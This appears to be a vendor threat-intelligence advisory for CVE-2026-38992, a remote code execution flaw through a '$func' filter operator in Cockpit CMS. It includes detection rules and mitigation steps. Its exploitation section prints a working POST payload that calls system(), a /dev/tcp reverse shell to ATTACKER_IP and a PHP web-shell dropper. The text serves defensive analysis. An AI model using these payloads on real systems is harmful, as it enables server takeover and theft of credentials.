CVE-2026-38992

Executive Summary

CVE-2026-38992 is an arbitrary code execution vulnerability in Cockpit v2.13.5 and earlier, enabling remote attackers to execute system commands on the underlying infrastructure. The flaw resides in the MongoLite $func operator, which is reachable through the filter parameter across multiple endpoints. Successful exploitation gives an attacker full command execution on the host, with no authentication required if the vulnerable endpoint is publicly exposed. This vulnerability poses a critical risk to organizations running Cockpit as a headless content management system.

Technical Analysis

CVE-2026-38992 exploits an insecure deserialization/expression evaluation flaw in Cockpit's data layer. Cockpit uses MongoLite, a lightweight NoSQL MongoDB-like adapter for PHP, for storing and querying content collections. MongoLite supports aggregation operators, including the $func operator, which allows PHP callables to be passed as part of a query filter.

The vulnerable code path accepts user-supplied JSON payloads in the filter parameter across endpoints such as POST /api/collections/find, POST /api/collections/save, and similar REST handlers. When the filter parameter contains a $func operator, the backend evaluates the supplied PHP expression or callable directly without sanitization or allowlisting. Because the operator is processed at the storage layer, the attacker-supplied function is invoked as PHP code on the server with the privileges of the web server user (typically www-data or nginx).

The attack surface is significant: Cockpit exposes these API endpoints unauthenticated when the system is configured as a headless CMS or when authentication is configured incorrectly. The $func operator is not a standard MongoLite feature and is likely introduced through a custom extension or legacy compatibility layer. The lack of input validation on the filter parameter means the documented filter schema (eq, not, in, etc.) is bypassed entirely, allowing raw PHP execution.

The vulnerability is weaponizable with a single HTTP request. No CSRF or interaction complexity is involved, making it trivially exploitable by any remote, unauthenticated attacker. The CVSS score is N/A in the advisory, but based on the technical characteristics, this vulnerability should be treated as Critical (9.8) using CVSS:3.1 metrics, given remote attack vector, low complexity, no privileges required, no user interaction, and full confidentiality/integrity/availability impact.

Exploitation Scenarios

The following describes a complete attack chain from reconnaissance to post-exploitation for CVE-2026-38992.

1. Reconnaissance / Target Identification: An attacker performs internet-wide scanning for Cockpit instances using search engines and network scanners. Cockpit can be identified via its distinctive uniqueness header, its default /cockpit admin panel path, or by examining HTTP response headers for X-Powered-By: Cockpit. A targeted reconnaissance request to an API endpoint such as GET /api/collections/list may reveal the API version and available collections. The attacker verifies the version string (e.g., v2.13.5) either from the admin panel footer or from a composer.json file accidentally exposed.

2. Trigger / Weaponization: The attacker crafts a POST request to an exposed endpoint that accepts a filter parameter. If the Cockpit installation is running in headless mode, the API is reachable without authentication. The attacker must discover the correct endpoint and collection name — common default collections include pages, posts, and entries. A request targeting POST /api/collections/pages/find with a crafted JSON body triggers the vulnerability.

3. Payload / Execution: The attacker injects a PHP system call through the $func operator. A sample payload:

POST /api/collections/pages/find HTTP/1.1
Host: victim.cockpit.local
Content-Type: application/json

{
  "filter": {
    "$func": "system('id; uname -a; whoami')"
  },
  "options": {}
}

When MongoLite processes the filter, it evaluates the $func value as PHP code, executing system() with the supplied command. The output is included in the HTTP response. For reverse shell capability, the attacker substitutes a command such as:

$func: "system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')"

A Netcat listener on the attacker-controlled host catches the reverse shell. Alternatively, the attacker can write a PHP web shell to the web root for persistent access:

$func: "file_put_contents('shell.php', '<?php system($_GET[\"c\"]); ?>')"

4. Post-Exploitation: With code execution as the web server user, the attacker enumerates the filesystem for database credentials (config/config.php), API keys, and other secrets. The attacker then pivots: If Cockpit stores the MongoLite database in a writable directory, the attacker can read/modify all CMS content, inject backdoors into pages, or extract user hashes. From here, the attacker attempts privilege escalation to root using kernel exploits, cron jobs, or misconfigured services and moves laterally to other internal systems.

Impact Assessment

This vulnerability results in complete compromise of the Cockpit instance and the underlying operating system. Because the vulnerable parameter reaches a PHP execution context, the impact severity is maximal across all three security pillars — confidentiality, integrity, and availability. The attacker gains the ability to read any file the web server user can access, modify the CMS content and its database, and reboot/crash the service or hosting infrastructure.

The blast radius depends on the deployment posture. In a typical LAMP/LEMP stack, the web server user can read configuration files containing database credentials (MySQL/PostgreSQL), which then compromises the entire data tier. If Cockpit is deployed in a container (Docker/Kubernetes), the attacker may escape the container via misconfigured capabilities or mount points, compromising the entire Kubernetes node. In shared hosting environments, adjacent virtual hosts on the same server can be attacked.

The EPSS score of 0.00426 (35.1st percentile) indicates a moderate-to-low probability of exploitation in the wild, but the technical ease of exploitation and high impact make this a priority for patch management. There is no CISA KEV listing, and no known exploit code has been published, which suggests the vulnerability was recently disclosed. This is a window of opportunity for defenders to patch before weaponized exploits become widely available.

Detection Guidance

Sigma Rule

title: Cockpit CVE-2026-38992 - MongoLite $func Code Execution Attempt
id: 3f8b7c1e-9a42-4b91-8e2f-6d5c4a3b1f09
status: experimental
description: Detects attempts to exploit arbitrary code execution via the $func operator in Cockpit filter parameters.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-38992
author: Valtersit Threat Intelligence Team
date: 2026/05/15
logsource:
    category: webserver
    product: apache
    detection:
        selection:
            c-uri|contains:
                - '/api/collections/'
            cs-method: 'POST'
            cs-uri-query|contains:
                - '$func'
                - '%24func'
        condition: selection
    falsepositives:
        - Legitimate use of MongoLite $func operator by internal developers (rare)
    level: high

YARA Rule

rule CVE_2026_38992_Cockpit_ShellFunc
{
    meta:
        author = "Valtersit Threat Intelligence Team"
        description = "Detects HTTP requests attempting to exploit $func operator in Cockpit"
        date = "2026-05-15"
        cve = "CVE-2026-38992"
        severity = "critical"

    strings:
        $func_str = "$func" ascii wide nocase
        $func_encoded = "%24func" ascii wide nocase
        $system_call = "system(" ascii wide nocase
        $passthru_call = "passthru(" ascii wide nocase
        $shell_exec = "shell_exec(" ascii wide nocase
        $exec_call = "exec(" ascii wide nocase
        $popen_call = "popen(" ascii wide nocase
        $api_route = "/api/collections/" ascii wide

    condition:
        (any of ($func*)) and (any of ($system_call, $passthru_call, $shell_exec, $exec_call, $popen_call)) and $api_route
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-38992 - Cockpit $func Code Execution Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/collections/"; http_uri; pcre:"/\$func[\"']?\s*[:=]\s*[\"']?(system|passthru|shell_exec|exec|popen|proc_open)\s*\(/i"; classtype:attempted-admin; sid:50038992; rev:1; metadata:created_at 2026_05_15, updated_at 2026_05_15, cve CVE-2026-38992;)

Elastic Detection

sequence with maxspan=5s
  [ network where event.category == "network_traffic" and destination.port == 80
      and not destination.ip == "127.0.0.1" ]
  [ http where event.category == "http" and http.request.method == "POST"
      and http.request.uri contains "/api/collections/" ]
  [ http where event.category == "http" and (
      http.request.body.content contains "$func" or
      http.request.body.content contains "%24func"
    ) and (
      http.request.body.content contains "system(" or
      http.request.body.content contains "passthru(" or
      http.request.body.content contains "shell_exec(" or
      http.request.body.content contains "popen(" or
      http.request.body.content contains "exec("
    ) ]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST" AND uri_path LIKE "/api/collections/%"
| search uri_query="*$func*" OR uri_query="*%24func*"
| search body="*system(*" OR body="*passthru(*" OR body="*shell_exec(*" OR body="*popen(*" OR body="*proc_open(*"
| table _time, src_ip, clientip, uri_path, uri_query, method, status, bytes
| sort - _time

Wazuh OSSEC Rule

<group name="cockpit,">
  <rule id="613486" level="15">
    <decoded>json</decoded>
    <field name="url">/api/collections/\.+</field>
    <field name="method">POST</field>
    <regex>(?i)(\$func|%24func)</regex>
    <description>Cockpit CVE-2026-38992 - Attempted $func code execution via filter parameter</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 — CLAIMED — single source claims patch (not independently confirmed).

A single OSV record claims that a patched version exists, though the exact patched version number has not been independently verified. Treat this as an unconfirmed fix and take the following layered approach:

1. Immediate Mitigations:

• Restrict network access to the Cockpit web server to trusted IP ranges only via firewall rules (e.g., ufw allow from 10.0.0.0/8 to any port 80,443).
• Place the Cockpit instance behind an authentication reverse proxy (nginx/Apache) that requires HTTP Basic Auth before proxying to the application.
• Disable or restrict access to the /api/collections/* endpoints via web server virtual host configuration:

  location ~ ^/api/collections/ {
      deny all;
      return 403;
  }
  

• If the application is fronted by a WAF, add a rule to reject requests containing the string $func in the POST body.

2. Patch/Upgrade Steps:

• Confirm the currently installed version: php bin/cockpit --version or check the web interface footer.
• Monitor the Cockpit GitHub releases page and the official advisory. If upstream confirms a fixed version (e.g., v2.13.6 or v2.14.0), upgrade immediately.
• Until the patched version is verified, apply the mitigations above. Do NOT expose the Cockpit API directly to the internet.
• Validate the fix by re-running the detection rules (Sigma/YARA/Suricata) against test traffic to confirm the $func parameter is rejected.

3. Long-Term Hardening:

• Run Cockpit in a container with immutable filesystem, minimal capabilities, and read-only root filesystem (e.g., Docker with --read-only and --cap-drop ALL).
• Enable and enforce mandatory authentication on all API routes; require API keys for all external integrations.
• Implement regular automated vulnerability scanning (e.g., Trivy, Grype) on the Cockpit container image.
• Maintain up-to-date backups of the MongoLite database and config files, tested for restoration.
• Subscribe to the Cockpit security mailing list or GitHub repo watch notifications for future advisories.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-38992
• OSV Advisory (patch source): https://osv.dev/vulnerability/CVE-2026-38992
• Cockpit CMS Official Site: https://getcockpit.com
• Cockpit GitHub Repository (for version history and patch announcements): https://github.com/agentejo/cockpit
• MITRE ATT&CK Technique T1190 - Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/

Threat Actor Campaigns and Exploit-in-the-Wild Evidence: As of the current advisory date, there are no publicly known threat actor campaigns targeting CVE-2026-38992, and no exploit code has been published. The EPSS score of 0.00426 (35.1% percentile) suggests limited active exploitation. However, given the trivial exploitability (single POST request) and the high impact, security teams should treat this as a high-priority patch candidate and actively hunt for the detection patterns defined in Section 6.